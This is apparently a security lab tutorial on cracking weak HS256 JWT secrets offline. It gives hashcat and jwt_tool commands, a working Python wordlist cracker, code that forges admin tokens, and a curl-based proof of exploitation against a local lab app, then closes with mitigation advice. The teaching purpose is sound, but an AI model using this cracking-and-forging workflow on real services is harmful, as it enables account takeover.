Cracking Weak JWT Signing Keys
When a JWT is signed with HS256 (or any HMAC variant), its entire security rests on the secrecy and entropy of one symmetric key. That key signs and verifies, so anyone who recovers it can mint tokens the server will accept as genuine. The problem is that the attacker already holds everything needed to attack the key offline: a valid token is header.payload.signature, and the signature is HMAC-SHA256(header.payload, key). Given the signed input and the resulting tag, candidate keys can be tested at enormous speed with no further interaction with the server. If the secret is a dictionary word, a short string, or a copied-from-a-tutorial value like secret or your-256-bit-secret, it falls in seconds.
This is distinct from Authentication Bypass via JWT Hardcoded Secret, where the secret leaks from source or config. Here the secret never leaks, it is simply too weak to resist an offline guessing attack against a captured token.
See Introduction to JSON Web Tokens in Python for how the signature is computed over the header and payload.
Why it cracks offline
The verifier recomputes the HMAC over base64url(header).base64url(payload) and compares it to the signature in the token. An attacker does the same locally for each candidate key, no network, no rate limit, no lockout. A single captured token is enough material to confirm the right key.
Cracking with standard tooling
hashcat mode 16500 cracks JWTs directly from a wordlist:
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.<sig>' > token.txt
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
jwt_tool wraps the same workflow and then re-signs forged tokens with the recovered key:
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
A minimal Python cracker
The whole attack is a few lines, which makes the principle obvious. For each candidate, try to verify the captured token; the one that does not raise is the key:
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.<sig>"
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as fh:
for line in fh:
candidate = line.strip()
try:
jwt.decode(token, candidate, algorithms=["HS256"])
print(f"[+] key found: {candidate}")
break
except jwt.InvalidSignatureError:
continue
except jwt.InvalidTokenError:
# signature matched but claims (e.g. exp) failed, still the right key
print(f"[+] key found (claims invalid): {candidate}")
break
Once the key is known, forging an admin token is trivial:
import jwt
forged = jwt.encode({"user": "admin", "role": "admin"}, "secret", algorithm="HS256")
Why cracking weak JWT signing keys matters from an offensive security perspective
I prize this attack because it needs nothing from the server beyond one captured token. The signature is HMAC-SHA256(header.payload, key), and I already hold the signed input and the resulting tag, so the whole search runs offline at GPU speed with no rate limit, no lockout, and no log entry. A weak HS256 secret is not “hard to guess”, it is already broken: the moment I have a token, recovery is a wordlist away, and recovery means I jwt.encode admin tokens at will. The payoff is identical to a leaked secret, full account takeover, reached through computation instead of a source leak.
What makes this so reliable is that developers pick HMAC secrets like passwords, and tutorials seed terrible defaults. The verifier can pin algorithms=["HS256"] perfectly and still hand me everything, because correct algorithm enforcement does nothing for a guessable key. This is distinct from Authentication Bypass via JWT Hardcoded Secret, where the secret leaks from source; here it never leaks, it simply lacks the entropy to survive an offline guessing attack.
These are the tells I look for:
alg: HS256on a public-facing or multi-service API. A symmetric secret shared across services is more places for a weak value to hide, and any captured token attacks all of them.- Sample or tutorial secrets.
secret,your-256-bit-secret,changeme,jwt_secret, or the framework’s documented placeholder, all top of any wordlist. - Short, human-readable keys in config. Anything that looks typed rather than generated by
secrets.token_urlsafe. - No key rotation. A weak key that never changes means one offline crack grants indefinite forgery.
The defender takeaway: when I see HS256 in an assessment I capture a token and run it through a wordlist immediately, so an HMAC secret that a human chose is full account takeover waiting on a few seconds of compute.
Proof of exploitation
Run the lab app (PyFuLabs/fastapi-fu/fastapi-jwt-weak-key). Capture any legitimate token, then brute-force the HMAC secret offline; secret falls to a wordlist instantly:
# capture a token (any login works)
curl -s -X POST http://pyfu.local/fastapi-fu/fastapi-jwt-weak-key/api/login \
-H "Content-Type: application/json" -d '{"username":"alice","password":"alice123"}'
# crack it offline (hashcat -m 16500, or jwt_tool) -> secret = "secret"
# forge an admin token with the recovered key
python3 -c 'import jwt;print(jwt.encode({"sub":"attacker","role":"admin"},"secret",algorithm="HS256"))'
curl -s http://pyfu.local/fastapi-fu/fastapi-jwt-weak-key/api/admin \
-H "Authorization: Bearer <forged-token>"
{"message":"welcome admin","claims":{"sub":"attacker","role":"admin"}}
The algorithm was correctly pinned to HS256, but a guessable secret makes that irrelevant: once recovered, forged tokens verify.
Mitigation
HS256 keys must be long and random, not human-chosen. Generate them and never reuse a sample value:
import secrets
print(secrets.token_urlsafe(64)) # ~512 bits of entropy
Use at least a 256-bit random secret for HS256, rotate it, and keep it out of source control. For anything multi-service or public-facing, prefer an asymmetric algorithm (RS256/ES256) so the verification key can be distributed without exposing a signing key, just be aware that asymmetric setups introduce their own pitfalls covered in JWT Algorithm Confusion (RS256 to HS256) and JWT Header Injection via jku, jwk, and kid.
Tested on CPython 3.12.3 with PyJWT 2.x. The takeaway: an HMAC-signed JWT is only as strong as its secret, and because the attack is entirely offline against a single captured token, a weak secret is not “hard to guess”, it is already broken. When you see HS256 in an assessment, capture a token and run it through a wordlist; a hit is full account takeover. The runnable lab is fastapi-fu/fastapi-jwt-weak-key.